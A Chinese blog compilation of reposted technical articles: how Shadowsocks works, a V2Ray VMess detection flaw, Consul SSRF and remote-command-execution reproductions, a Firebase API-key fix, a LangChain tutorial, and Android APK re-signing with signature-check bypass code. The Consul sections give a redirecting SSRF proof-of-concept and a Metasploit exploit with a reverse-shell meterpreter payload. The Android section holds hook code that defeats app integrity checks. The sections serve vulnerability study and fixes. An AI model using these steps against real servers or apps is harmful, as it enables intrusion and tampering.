Shadowsocks协议解析

Shadowsocks协议解析

本文转自喂草 并作补充

Shadowsocks过程

Shadowsocks是一个代理协议,以下简称SS。当然基于SS协议催生出了许多的代理软件,例如Shadowsocks-NG(MacOS平台)、Shadowrocket(iOS平台)等。不过总归来说SS的流程是一致的:

image

上图简述了SS在整个数据传输中的位置,包含了SS客户端和SS服务端两个部分,一般来说SS客户端是安装在本地的软件,而SS服务端则是运行在VPS上的软件。如果没有SS的话,上图就成了没有代理的用户与目标服务器(例如Google.com)的直接通信。下面一SS代理下的HTTP请求介绍上述过程:

  1. 浏览器要访问Google.com,便生成HTTP请求。由于设置了代理,所以不会直接发送到Google服务器,而是发送到SS客户端(例如127.0.0.1:1086)。
  2. SS客户端把HTTP请求封装成SS请求(后面详细介绍),包含协议封装和加密过程,发送给SS服务器。
  3. SS服务器收到SS请求并解析,包含解密和协议解析过程,获得原始HTTP请求。
  4. SS服务器连接Google服务器,发送用户的原始HTTP请求,并获取Google返回的HTTP响应。
  5. SS服务器对HTTP请求进行加密,并发送到SS客户端。此处没有协议封装。
  6. SS客户端收到SS服务器的响应,进行数据解密得到HTTP响应,发送到浏览器以完成HTTP请求。

Shadowsocks协议

接下来会在字节层面对上述过程进行详细介绍。由于SS在处理TCP连接和UDP报文所使用的协议有所差异,因此也会分开介绍。

TCP连接

TCP连接模式主要包括HTTP、HTTPS和Socket等应用层协议,这些协议有所差异比如说有的协议有握手,有的协议却只有一来一回的数据交互,有的协议可能会保持长时间的连接和数据传输。。但这些对于SS来说都是一样的,因为它们都不过是数据(payload),而SS要做的无非是创建两个通道,一个用于把客户端数据传输到服务端,一个用于把服务端的数据传输到客户端

SS请求

TCP握手很熟悉了,握手的目的是建立数据链路。SS也有握手过程,目的就是建立上述的数据链路,不过这个过程只有半次握手,即SS请求。SS请求的主要功能是建立代理链路,因此需要告诉SS服务器要代理访问的远程服务器地址(如果不知道IP地址的话,给域名也可以),然后可以顺便携带一部分传输数据。根据地址类型的不同,SS请求会有3种形式:

  1. 通过SS请求传输目标服务器的IPv4地址:

image

  1. 通过SS请求传输目标服务器的IPv6地址:

image

  1. 在不知道目标服务器IP地址的时候(比如DNS被劫持),直接传输目标服务器的域名:

image

客户端加密

SS客户端把SS请求组装好了,在向SS服务器传输之前还需要进行加密,否则用户的数据就在网络上明文传输了,这个是很不安全的。下面举例使用SS中最常用的加密方案AES-256-cfb方式进行数据加密,大致步骤如下:

  1. 密钥生成:AES-256意味着其密钥长度是256bit,但用户密码有长有短,而且都是可见的ASCII,把密码作为密钥来用显然安全性是不够的,所以需要根据密码生成安全性达标的256bit长度密钥。SS中使用MD5对密码生成16byte长度的消息摘要,即可作为密钥使用。
  2. IV生成:原始AES加密下,对于相同的明文会生成相同的密文,这也是安全性的一种缺陷。AES-cfb通过引入随机数IV的方式解决该问题,即在随机数IV的加持之下可以实现相同的明文生成不同的密文。在AES-256-cfb中,IV是一个16bit的随机数。
  3. 加密:有了密钥、加密算法、IV,就可以生成加密器,并对数据进行加密了。在此数据就是上述所组装的SS请求,得到密文cypher。为了让SS服务端可以解密,还需要把IV也一同发送,所以最终生成的数据如下:

image

服务端解析

SS服务器和SS客户端所共享的信息有密码和加密方式,这是配置过SS服务器的人都知道的,在收到SS客户端发送的SS请求后,SS客户端进行解析的过程如下:

  1. 密钥生成:根据密码生成密钥,由于和客户端拥有相同的密码和密钥生成算法,所以生成的AES-256-cfb密钥也是一样的。
  2. 获取IV:从SS客户端接收到的数据前16bit提取出来就得到了AES-256-cfb的IV。
  3. 解密:根据密钥、加密算法和IV生成解密器,对收到的数据进行解密,就得到了SS请求明文。
  4. 地址解析:根据SS请求的第1个Byte得知目标服务器地址的类型(IPv4,IPv6或域名),并根据相应的规则进行解析得到其地址与端口。
  5. 代理请求:说到底SS就是一个代理协议,代理的意思就是代替客户端对目标服务器发起请求。通过地址与端口连接目标服务器,并发送解密后的数据,完成请求。

服务端响应

SS服务器收到目标服务器的数据,把数据传输给SS客户端,也需要进行加密,不同的是不需要组装协议了。所以该过程就比较简单:

  1. 生成IV:虽然也是随机数,但该IV与SS客户端发送请求时生成的IV不相等,需要再生成一个。
  2. 加密:根据新生成的IV、密钥和加密算法生成加密器,对目标服务器响应的数据进行加密。同样为了SS客户端可以解密,也需要把IV连同密文一起发送给客户端。

客户端解析

SS客户端收到服务端的数据,通过提取IV就可以生成响应的解密器,对数据进行解密,从而完成用户与目标服务器的通信。
上述的加密器和解密器都是和连接绑定的,即一次TCP连接代理通信只需要互相发送一次IV用于双方创建解密器,而后续的通信内容都只有包括密文部分,使用解密器进行解密即可。
所以其实SS协议的过程是非常简单的,以至于在画下图的时候都不知道有什么可以加上的东西。

image

UDP连接

UDP模式在SS中通过UDP转发选项开启,用于代理UDP流量如DNS查询、即时语音通信等。

UDP模式和TCP模式差异

SS中TCP和UDP大同小异,但由于UDP之于TCP是无连接协议,因此简单探讨一下UDP模式无连接下的一些区别:

  1. TCP连接作为基本单位:在TCP模式中,从握手到挥手的过程就是一次连接,因此一次连接是SS中的基本单位,所以一次连接对应上下行的2个加密通道、2个IV。所以一次TCP连接中无论有多少次数据交互,只需要一次握手
  2. UDP数据分组作为基本单位:在UDP模式中没有连接的概念,其基本单位是每个数据包,所以每个数据包对应1个IV和加密解密器。可以说在UDP模式下有多少个数据包,就会发生多少次SS握手。
  3. 连接方式差异:因为UDP是无连接,所以在socket编程时通常不会像UDP连接一样,先connect然后才数据读写,而是直接进行数据包的收发。
  4. 方向性:TCP模式种中总是SS客户端向SS服务器发起握手,但在UDP模式中由于没有连接的概念,所以每个数据包都是平等的自带握手信息,即使SS服务器向SS客户端发送的数据也是。

UDP下的握手协议

UDP模式中每一个数据包都具有相同格式,无论是从SS客户端发往SS服务器,还是从SS服务器发往SS客户端,其格式与上述SS请求相同:

image

所以不仅SS客户端会把需要代理访问的目标服务器的地址信息告诉SS服务器,SS服务器也会把目标服务器返回的数据连同其地址信息一同返回SS客户端。这主要是因为UDP模式下是没有连接的概念,所以每条数据需要自带一些额外信息,就像每次进商场都要戴口罩测体温一样。

后记

学术交流而已。

V2ray协议爆发了重大安全漏洞

V2ray协议爆发了重大安全漏洞

本文转自DolorHunter 并作补充

服务器端的 V2ray 更新到 v4.23.4 以及之后的版本可以解决这一问题, 请大家尽快更新.

这可能是 V2ray 自 15 年发布 v1.0.0 以来面临的最大危机.

六一前后, 有大量网友反应自己的裸 V2ray 配置(Vmess+TCP 的默认配置)失效了, 我本来也没太当回事, 毕竟过几天就是 535 了, 断一断网是老传统, 并没有什么好说的. 不过有一点与以往不同, 这次被阻断的用户都是使用默认配置.

V2ray 的默认配置是 Vmess+TCP. 虽然中庸普通, 但它并不是一个容易被阻断的配置. 之前被阻断的 V2ray 配置通常都是些 KCP/mKCP 或是 QUIC 这类的基于 UDP 协议的配置. UDP 通信数据特征明显, 因此容易被 GFW 逮个正着. 而 TCP 是可靠协议, 而且目前大量的网络数据也是基于 TCP 协议, 因此 TCP 协议一直都还算安全.

我的认知里Vmess协议有个安全性排名: Vmess+TCP/WS/HTTP2+TLS > Vmess+TCP/WS/HTTP2 > Vmess+KCP/mKCP/QUIC. 如果用白话来解释就是带TLS的配置是最高一档90分优秀, 中间配置60分及格凑合, 最后一档是不及格. 我一直认为, 只要不用 KCP/mKCP/QUIC 爆炸三兄弟, 还是能舒心上网的. 然而我的预判出了大错误.

发现重大安全漏洞

QV2ray-dev 社区首先发声. 六一当天, QV2ray-dev 警告用户不要使用 Vmess+TCP, 部分 Vmess+WS 及部分 Vmess+ws+TLS(insecure) 的配置组合. 他解释到 GFW 正在进行主动探测, 在 30s 内就可以接近 100% 的探测出你是否使用 Vmess+TCP 的配置, 其他配置亦可以受到波及. 并且此问题并无解决方案, 解决该问题可能需要重新设计 Vmess 协议.

看到了这条消息后, 当下到 V2ray 社区逛了一圈, 发现事态比想象中的严重许多. p4gefau1t 发了一个名为 v2ray的TLS流量可被简单特征码匹配精准识别(附PoC) 的帖子. 过后十几小时又发了个名为 vmess协议设计和实现缺陷可导致服务器遭到主动探测特征识别(附PoC) 的帖子. 这两个帖子在短短几小时内已经获得了数十个回复, 并且多为负责此项目的大牛.

p4gefau1t 首先发现仅凭tls client hello的cipher suite字段,就可以非常准确地将v2ray流量和正常浏览器流量区分开来。

他通过 这篇文章 中提到了使用机器学习训练的模型可对v2ray的tls+ws流量进行识别,准确率高达0.9999. 后来, 经过本地测试,可以复现。并且不限于tls+ws,对tls+vmess等组合也同样有效。其他tls流量如浏览器流量等,全程没有出现误报情况。因此初步怀疑是v2ray使用的utls进行client hello伪造出现的问题。

通过抓包对比真实的chrome与utls的client hello,发现两者基本一致,但与v2ray的存在较大差别,其中包括suite和extension的差别。此后,我们将utls的chrome的cipher suite patch到v2ray中后,此模型无法识别v2ray的tls流量。所以我们可以初步认为,模型很可能是学习了tls client hello的特征,导致流量被识别。

他发现识别tls client hello并不需要使用机器学习的方法,简单的DPI即可实现,因此在gfw部署的成本很低。并且,由于这组cipher suites太过特殊,我们可以仅凭cipher suites进行准确识别。

Cipher Suite 的特征有多特殊呢? 帖子下的网友随手撸一个从 0x90 偏移量开始的 memcmp 都能精准高效识别“特征码”:cca8cca9c02fc02bc030c02cc027c013c023c009c014c00a130113031302 甚至可以利用 iptables 进行明文匹配…… 帖内多个网友用其他配置也多次复现成功, 都得到了相同的特征码.

这个漏洞可以说是十分棘手. 几乎可以说只要 GFW 想, 随时可以全国断网, 并且不分配置(不管有没有 TLS 都是死路一条).

p4gefau1t 在十几个小时后又发了一个帖子. 这次他构造出了更具杀伤性的PoC, 仅需16次探测即可准确判定vmess服务,误报可能性几乎为0,校验的缓解措施均无效。唯一的解决方案是禁用vmess或者重新设计协议。

16 字节 X 字节 余下部分
认证信息 指令部分 数据部分

Vmess 协议前16字节为认证信息,内容为和时间、用户ID相关的散列值。根据协议设计,每个16字节的认证信息auth的有效期只有30秒。而问题出在指令部分。指令部分使用了没有认证能力的aes-cfb方式,因此攻击者可以篡改其中内容,而仍然能被服务器接受。

1 字节 16 字节 16 字节 1 字节 1 字节 4 位 4 位 1 字节 1 字节 2 字节 1 字节 N 字节 P 字节 4 字节
版本号 Ver 数据加密 IV 数据加密 Key 响应认证 V 选项 Opt 余量 P 加密方式 Sec 保留 指令 Cmd 端口 Port 地址类型 T 地址 A 随机值 校验 F

前16字节的认证信息可以被重复使用,并且只要通过认证,执行流即可进行到140行,初始化aes密钥流。接着在144行处,服务端在没有经过任何认证的情况下,读入38字节的密文,并使用aes-cfb进行解密,在没有进行任何校验的情况下,将其中版本号,余量P,加密方式等信息,直接填入结构体中。

这里问题已经很明显了,攻击者只需要得知16字节的认证信息,就可以在30秒内反复修改这38字节的信息进行反复的重放攻击/密文填充攻击。

aes本身可以抵抗已知明文攻击,因此安全性方面基本没有问题。出现问题的是余量P。我猜想设计者应该是为了避免包的长度特征而引入这个字段,但是读入余量的方式出现了问题:在没有校验余量P、加密方式Sec、版本号Ver、指令 Cmd、地址类型T、地址A的情况下,将P直接代入ReadFullFrom中读取P字节(182行)。注意,这里P的范围是2^4=16字节以内。读取P+4字节后,v2ray才会对前面读入的内容进行校验,判断命令部分是否合法。如果不合法,断开连接。

临时性纾困方案

V2ray 社区针对这一漏洞在一周内接连推出了两个小的版本更新, 4.23.3 和 4.23.4.

V2Ray 项目在最近的几天内收到了数个隐匿性能方面的漏洞报告。这些漏洞都在被提出的数个小时内被解决(除 mKCP 修复暂缓)并发布相关更新。您可以升级到最新版本 v4.23.4 来获取最大程度的保护。我们支持和鼓励寻找并提出 V2Ray 各个方面漏洞的人。我们希望 V2Ray 的用户不要指责或者攻击为我们提供安全审计的人士。

可以使用

如果你已经升级到 V2Ray v4.23.4,并且没有开启 TLS 的 AllowInsecure 选项,以下配置组合不会泄露识别信息:

VMess over Websocket with TLS

VMess over TLS

VMess over HTTP/2 (使用 TLS 的 HTTP/2,并非 h2c)

Shadowsocks(AEAD) over Websocket with TLS

谨慎使用

以下配置组合可能会在攻击者位于网络路径上时可能会使攻击者获得的协议数据的一些统计学属性,但是这些信息不足以用于确定服务器上部署了这些协议

VMess over TCP (还在继续改进中) 已修复, 可以正常使用

并不建议

以下配置组合不建议用于穿越被攻击者控制的网络:

任何协议 + SOCKS5

任何协议 + HTTP 代理

任何协议 + HTTP 伪装

任何协议 + mKCP + 任何伪装

-xiaokangwang 于 关于在近期收到的数个漏洞的项目组公告

协议的长期解决方案

重写 Vmess 协议可能是在较长时间内解决这一问题的唯一出路.

Vmess 协议已经诞生了很长一段时间. 那时候互联网上tls并不普及,tls1.3也还没出来。因此协议过时出现问题可以说是必然. 依照此趋势, 我倾向于认为下一代的 Vmess 默认协议可能会是类似 Vmess+TCP/WS/HTTP2+TLS 的设计. HTTP3 短期看来不太可能有具体应用, 毕竟 QUIC 作为 HTTP3的雏形, 翻车翻成什么样大家心里都有数.

这次可能可以说是 V2ray 面世五年来遇到的最大一次危机. 不过, 目前的两个紧急补丁已经缓解了燃眉之急, 并且就 V2ray 社区的效率(两天内连续两个补丁), 我基本上已经消解了我之前的随时可能断网的担忧了.

当前社区内对于新协议的讨论如火如荼, 每天都能看到新的点子冒出来. 过不了多久可能就会见到新的用于替换当前的 Vmess 的协议, 或者是目睹 V2ray 终于要进入 v5.0.0时代. 不论是目睹了其中的任何一件, 都是在见证历史, 见证开源社区的协作, 见证又一次与 GFW 的缠斗.

CVE-2022-29153 consul SSRF

CVE-2022-29153 consul SSRF

本文转自cokeBeer 并作补充

漏洞信息

  • 漏洞类型:SSRF
  • 漏洞版本:< 1.9.17,>= 1.10.0, < 1.10.10,>= 1.11.0, < 1.11.5
  • 漏洞简介:http类型的health_check被重定向导致的SSRF

repo介绍

consul是一个用go语言编写的分布式应用管理服务器,目前在github上已经有24.7k个star

漏洞分析

consul提供了对于服务的health_check能力。首先安装一个漏洞版本的consul

1
2
3
curl -fsSL https://apt.releases.hashicorp.com/gpg | sudo apt-key add -
sudo apt-add-repository "deb [arch=amd64] https://apt.releases.hashicorp.com $(lsb_release -cs) main"
sudo apt-get update && sudo apt-get install consul=1.10.9

然后启动一个consul服务器

1
consul agent -dev -enable-script-checks -node=web -ui

访问http://localhost:8500/可以看到consul的界面

image

编写一个ssrf.json作为poc,里面标志的http地址会将请求302重定向到127.0.0.1:80

1
2
3
4
5
6
7
8
9
10
11
12
13
{
"ID": "ssrf",
"name": "ssrf",
"port": 5001,
"check": {
"checkid": "ssrf_check",
"name": "Check ssrf",
"http": "http://fuzz.red/ssrf/127.0.0.1/",
"method": "GET",
"interval": "10s",
"timeout": "1s"
}
}

使用如下指令将health_check注册到consul服务器

1
curl --request PUT --data @ssrf.json http://127.0.0.1:8500/v1/agent/service/register

可以看到添加成功

image

这时consul会主动运行health_check,请求被302重定向到内网,导致了SSRF。可以看到nc也收到了请求

image

修复方式

agent/config.go中添加DisableRedirects字段,可以在服务器端配置,关闭health_check的重定向

image

参考链接

Hashicorp Consul Service API远程命令执行漏洞

Hashicorp Consul Service API远程命令执行漏洞

本文转自starnight_cyber 并作补充

简介

Consul是HashiCorp公司推出的一款开源工具,用于实现分布式系统的服务发现与配置。与其他分布式服务注册与发现的方案相比,Consul提供的方案更为“一站式”。Consul内置了服务注册与发现框架、分布一致性协议实现、健康检查、Key/Value存储、多数据中心方案,不再需要依赖其他工具(例如ZooKeeper等),使用方式也相对简单。

Consul使用Go语言编写,因此具有天然的可移植性(支持Linux、Windows和Mac OS X系统);且安装包中仅包含一个可执行文件,便于部署,可与Docker等轻量级容器无缝配合。

在特定配置下,恶意攻击者可以通过发送精心构造的HTTP请求在未经授权的情况下在Consul服务端远程执行命令。

环境搭建

https://releases.hashicorp.com/consul/1.2.4/ 下载相应 Linux 版本,直接启动服务即可。

1
./consul agent -dev -client your-serv-ip -enable-script-checks

访问:http://your-serv-ip:8500/v1/agent/self

启用了 EnableRemoteScriptChecks: true

image

漏洞验证

  1. 使用 MSF 进行测试,简要过程如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 > search Hashicorp

Matching Modules
================

# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/misc/nomad_exec 2021-05-17 excellent Yes HashiCorp Nomad Remote Command Execution
1 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
2 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API


Interact with a module by name or index. For example info 2, use 2 or use exploit/multi/misc/consul_service_exec

msf6 > use 2
[*] Using configured payload linux/x86/meterpreter/reverse_tcp

可以看到成功创建 meterpreter。

image

修复措施

  1. 禁用Consul服务器上的脚本检查功能
  2. 确保Consul HTTP API服务无法通过外网访问或调用
  3. 对/v1/agent/service/register 禁止PUT方法

参考

https://blog.csdn.net/qq_44159028/article/details/115870000

https://releases.hashicorp.com/consul/1.2.4/

https://blog.pentesteracademy.com/hashicorp-consul-remote-command-execution-via-services-api-d709f8ac3960

以上!

与 Firebase 安装服务器 API 通信时的 Android 错误

与 Firebase 安装服务器 API 通信时的 Android 错误

本文转自Segmentfault 并作补充

Questions

我在应用程序启动时收到一条错误消息,说明日志如

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
W/Firebase-Installations: Error when communicating with the Firebase Installations server API. HTTP response: [400 Bad Request: {
"error": {
"code": 400,
"message": "API key not valid. Please pass a valid API key.",
"status": "INVALID_ARGUMENT",
"details": [
{
"@type": "type.googleapis.com/google.rpc.Help",
"links": [
{
"description": "Google developers console",
"url": "https://console.developers.google.com"
}
]
}
]
}
}
]
2020-04-27 12:42:34.621 22226-23596/in.co.androidapp.g7 E/Firebase-Installations: Firebase Installations can not communicate with Firebase server APIs due to invalid configuration. Please update your Firebase initialization process and set valid Firebase options (API key, Project ID, Application ID) when initializing Firebase.

大约一周前我收到一封电子邮件,我应该更新我的 google_services.json 文件,我已经更新了 4-5 次。没有改进。它已经工作了大约一年。自从我在应用程序中遇到此问题以来只有 2-3 天。

随后,Firebase Cloud Messaging 和其他 Firebase 服务无法正常工作。我没有进行编程初始化(即,使用 FirebaseOptions 对象提供这些值),只是默认初始化使用 FirebaseApp.initializeApp(this);

我试过 https://github.com/firebase/firebase-android-sdk/blob/master/firebase-installations/API_KEY_RESTRICTIONS.md

提前致谢。

原文由 Daksh Agrawal 发布,翻译遵循 CC BY-SA 4.0 许可协议

Answers

如果您的 API 密钥有问题,您可以在 Cloud Console 中创建一个新的 API 密钥:

  • 转到 谷歌云控制台
  • 选择相关项目(即您用于申请的项目)
  • 打开菜单并转到 APIs & ServicesCredentials
  • 在页面顶部点击 + CREATE CREDENTIALSAPI key
  • 用新创建的 API 密钥替换应用程序中的 API 密钥

如果您使用 google-services.json 来自 Firebase 控制台 的配置文件,您首先必须删除或限制当前 google-services.json 中使用的 API 密钥,以便使 Firebase 更新配置文件和使用新的 API 密钥。

  • 在您的 google-services.json 配置文件中识别 API 密钥。
  • 通过根据 Firebase Installations API 指标页面 检查 API 密钥的使用情况,确认 API 密钥正在创建错误请求。 API 密钥的列 Usage with this service 应显示大于 0 的数字。
  • 通过单击 bin 符号删除该 API 密钥,或通过单击铅笔符号将 Application restrictions 添加到该 API 密钥。 !!警告!! 不要删除应用程序现有安装所需的 API 密钥,以用于其他 Firebase 服务,例如 Firebase Auth 或 Realtime-Database。

等待几分钟,让 Google 服务器更新。下次下载 google-service.json 配置文件应该包含一个新的 API 密钥。

您可以使用以下 CURL 命令测试您的配置。你得到的 错误 是什么? (注意:如果您看到的是 JSON 数据,则说明您的配置成功)

测试您的配置是否适用于以下 CURL 命令:

1
2
3
4
5
 api_key=<YOUR_API_KEY>;
project_identifier=<YOUR_PROJECT_ID>;
app_id=<YOUR_FIREBASE_APP_ID_EXAMPLE_1:12345678:android:00000aaaaaaaa>;

curl -H "content-type: application/json" -d "{appId: '$app_id', sdkVersion: 't:1'}" https://firebaseinstallations.googleapis.com/v1/projects/$project_identifier/installations/?key=$api_key;

关于 API 密钥和 Firebase Installations API 的其他相关链接:

原文由 Andreas Rayo Kniep 发布,翻译遵循 CC BY-SA 4.0 许可协议

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

使用 ChatGPT 与 Python 中的第三方应用程序进行交互

本文转自Miloce 并作补充

将语言模型(如ChatGPT)集成到第三方应用程序中已经变得越来越流行,因为它们能够理解和生成类似人类的文本。然而,需要认识到ChatGPT的一些限制,比如它的知识截止日期是在2021年9月,以及它无法直接访问维基百科或 Python 等外部资源。

鉴于这一挑战,LangChain的联合创始人兼首席执行官Harrison Chase提出了一个创新的解决方案。他开发了Python LangChain模块,该模块使开发人员能够轻松地将第三方应用程序与大型语言模型集成在一起。这一突破开启了无限的可能性,允许开发人员充分利用语言模型的强大功能,同时有效地处理来自外部来源的信息。

在本文中,我们将探讨使用Python LangChain模块与ChatGPT交互以与第三方应用程序交互的有趣概念。到文章末尾,您将更深入地了解如何利用这种集成,创建更复杂和高效的应用程序。

导入ChatGPT模块

第一步是安装Python LangChain模块,您可以使用以下pip命令完成此操作。

1
pip install langchain

接下来,您需要从langchain.chat_models模块导入ChatOpenAI类。ChatOpenAI类允许您创建ChatGPT的实例。为此,请将model_name属性传递给ChatOpenAI类,将模型设置为”gpt-3.5-turbo”。OpenAI的”gpt-3.5-turbo”模型为ChatGPT提供动力。您还需要将您的OpenAI API密钥传递给open_api_key属性。

1
2
3
4
5
6
from langchain.chat_models import ChatOpenAI
import os

api_key = os.getenv('OPENAI_KEY2')
chatgpt = ChatOpenAI(model_name="gpt-3.5-turbo",
openai_api_key=api_key)

现在,我们已准备好在Python中将第三方应用程序与ChatGPT集成。

使用ChatGPT从维基百科提取信息

如前所述,ChatGPT的知识截止日期为2021年9月,无法回答那之后的查询。例如,如果您要求ChatGPT返回2022年温布尔登锦标赛的维基百科文章摘要,您将获得以下答案:

image

LangChain代理允许您与第三方应用程序交互。有关更多信息,请查看所有LangChain代理集成的列表。

让我们看看如何使用示例代码将ChatGPT与维基百科等第三方应用程序集成。

您需要从langchain.agents模块导入load_toolsinitialize_agentAgentType实体。

接下来,您应该将代理类型作为输入提供给load_tools类。在下面的示例脚本中,指定的代理类型是wikipedia。随后的步骤涉及使用initialize_agent()方法创建代理对象。在调用initialize_agent()方法时,您需要传递工具类型、ChatGPT实例和代理类型作为参数。如果将verbose参数设置为True,它将显示代理任务执行的思考过程。

在下面的脚本中,我们要求维基百科代理返回2022年温布尔登锦标赛的维基百科文章摘要。

在输出中,您可以看到代理的思考过程以及包含文章摘要的最终结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from langchain.agents import load_tools, initialize_agent, AgentType

tools = load_tools(
['wikipedia'],
)

agent_chain = initialize_agent(
tools,
chatgpt,
agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
verbose=True,
)

agent_chain.run(
"返回2022年温布尔登锦标赛的维基百科文章摘要。"
)

image

从ArXiv提取信息

让我们看看另一个示例。我们将从ArXiv获取一篇文章的标题和作者姓名,ArXiv是一个流行的开放获取科研论文、预印本和其他学术文章的存储库。

脚本保持不变,只需将arxiv作为参数值传递给load_tools()方法。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
tools = load_tools(
["arxiv"],
)

agent_chain = initialize_agent(
tools,
chatgpt,
agent=AgentType.ZERO_SHOT_REACT_DESCRIPTION,
verbose=True,
)

agent_chain.run(
"给我提供文章1301.3781的标题和作者姓名。"
)

image

从CSV文件提取信息

LangChain提供了直接创建特定任务代理实例的方法。例如,langchain.agents模块的create_csv_agent()方法允许您创建与CSV文件交互的CSV代理。

让我们看一个示例。以下脚本导入包含公司员工流失信息的数据集。

1
2
3
4
5
import pandas as pd
dataset = pd

.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')
dataset.head()

image

让我们使用CSV代理从此文件获取信息。我们要求ChatGPT返回销售部门的员工总数。

在输出中,您可以看到ChatGPT返回输出的过程。

1
2
3
4
5
6
7
8
9
from langchain.agents import create_csv_agent

agent = create_csv_agent(
chatgpt,
r'D:\Datasets\employee_attrition_dataset.csv',
verbose=True
)

agent.run("返回销售部门的员工总数。")

image

从Pandas DataFrame提取信息

同样,您可以使用create_pandas_dataframe_agent()方法从Pandas dataframe中提取信息。在下面的脚本中,我们要求ChatGPT返回销售部门中教育领域为医学的员工总数。

1
2
3
4
5
6
7
8
9
10
11
12
import pandas as pd
dataset = pd.read_csv(r'D:\Datasets\employee_attrition_dataset.csv')

from langchain.agents import create_pandas_dataframe_agent

agent = create_pandas_dataframe_agent(
chatgpt,
dataset,
verbose=True
)

agent.run("返回销售部门中教育领域为医学的员工总数。")

image

至此,教程结束。希望您会喜欢它!

Android逆向-获取APP签名

Android逆向-获取APP签名

本文转自Taardisaa 并作补充

很久以前开的blog,关于如何获取APP签名。不知道为啥要写这个了。

Android逆向-APP签名

生成JKS签名

Android studio 如何生成jks签名文件 - 简书 (jianshu.com)

打开AndroidStudio

1
Build-->Generate Signed APK-->APK

然后Key store path选择Create New

然后设置好存储路径,密码也设置一下(偷懒写个123456)

Key的别名就叫key,密码一样简单。

然后剩下的Certificate全填taardisCountry Code填11451。

反正创建成功后,就在选定路径下出现了jks密钥文件。

APK签名

将APK魔改,重新打包后,需要重新签名。

参考:Android之通过 apksigner 对 apk 进行 手动签名_恋恋西风的博客-CSDN博客

1
apksigner.bat sign --verbose --ks D:\Android\Keystore\taardis.jks --v1-signing-enabled false --v2-signing-enabled true --ks-key-alias key --ks-pass pass:123456 --key-pass pass:123456 --out D:\Android\Frida\gadget\bs.apk D:\Android\Frida\gadget\b.apk

成功后提示:

1
Signed

获取APK签名

首先APK解包:

1
apktool d <apk>

然后在 META-INF 文件夹拿到 CERT.RSA 文件。之后:

1
keytool -printcert -file CERT.RSA

不过Keytool似乎是Java的工具,不管了现在用不上。

JEB/JADX

这种反编译器也能直接看到APK的签名信息。

MT APP签名检查及绕过

L-JINBIN/ApkSignatureKillerEx: 新版MT去签及对抗 (github.com)

从“去除签名验证”说起 - 腾讯云开发者社区-腾讯云 (tencent.com)

过签名校验(2) – MT 的 IO 重定向实践 - 『移动安全区』 - 吾爱破解 - LCG - LSG |安卓破解|病毒分析|www.52pojie.cn

MT提供的签名绕过方式能够实现对API和APK方式的绕过。但是对于SVC的则无能为力。

1
2
3
4
String signatureExpected = "3bf8931788824c6a1f2c6f6ff80f6b21";
String signatureFromAPI = md5(signatureFromAPI());
String signatureFromAPK = md5(signatureFromAPK());
String signatureFromSVC = md5(signatureFromSVC());

API检测

PackageManager直接获得签名。

1
2
3
4
5
6
7
8
9
private byte[] signatureFromAPI() {
try {
@SuppressLint("PackageManagerGetSignatures")
PackageInfo info = getPackageManager().getPackageInfo(getPackageName(), PackageManager.GET_SIGNATURES);
return info.signatures[0].toByteArray();
} catch (PackageManager.NameNotFoundException e) {
throw new RuntimeException(e);
}
}

APK检测

找到APP私有文件夹下的base.apk,然后得到签名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
private byte[] signatureFromAPK() {
try (ZipFile zipFile = new ZipFile(getPackageResourcePath())) {
Enumeration<? extends ZipEntry> entries = zipFile.entries();
while (entries.hasMoreElements()) {
ZipEntry entry = entries.nextElement();
if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
InputStream is = zipFile.getInputStream(entry);
CertificateFactory certFactory = CertificateFactory.getInstance("X509");
X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(is);
return x509Cert.getEncoded();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

SVC检测

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
private byte[] signatureFromSVC() {
try (ParcelFileDescriptor fd = ParcelFileDescriptor.adoptFd(openAt(getPackageResourcePath()));
ZipInputStream zis = new ZipInputStream(new FileInputStream(fd.getFileDescriptor()))) {
ZipEntry entry;
while ((entry = zis.getNextEntry()) != null) {
if (entry.getName().matches("(META-INF/.*)\\.(RSA|DSA|EC)")) {
CertificateFactory certFactory = CertificateFactory.getInstance("X509");
X509Certificate x509Cert = (X509Certificate) certFactory.generateCertificate(zis);
return x509Cert.getEncoded();
}
}
} catch (Exception e) {
e.printStackTrace();
}
return null;
}

绕过

Java层的东西不多

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
private static void killOpen(String packageName) {
try {
// Native层Hook
System.loadLibrary("SignatureKiller");
} catch (Throwable e) {
System.err.println("Load SignatureKiller library failed");
return;
}
// 读取/proc/self/maps读取APP路径
String apkPath = getApkPath(packageName);
if (apkPath == null) {
System.err.println("Get apk path failed");
return;
}
// 读取自身APK文件(私有目录下的base.apk)
File apkFile = new File(apkPath);
// 在APP私有目录下创建origin.apk文件
File repFile = new File(getDataFile(packageName), "origin.apk");
try (ZipFile zipFile = new ZipFile(apkFile)) {
// 将APK中的origin.apk给提取出来(origin.apk是MT去签是生成的,是初始没有被去签的APK)
String name = "assets/SignatureKiller/origin.apk";
ZipEntry entry = zipFile.getEntry(name);
if (entry == null) {
System.err.println("Entry not found: " + name);
return;
}
// 读取出来
if (!repFile.exists() || repFile.length() != entry.getSize()) {
try (InputStream is = zipFile.getInputStream(entry); OutputStream os = new FileOutputStream(repFile)) {
byte[] buf = new byte[102400];
int len;
while ((len = is.read(buf)) != -1) {
os.write(buf, 0, len);
}
}
}
} catch (IOException e) {
throw new RuntimeException(e);
}
// 传入底层so Hook
hookApkPath(apkFile.getAbsolutePath(), repFile.getAbsolutePath());
}

然后看Native层,实际上是XHook,用于替换libc函数。

1
mt_jni.c

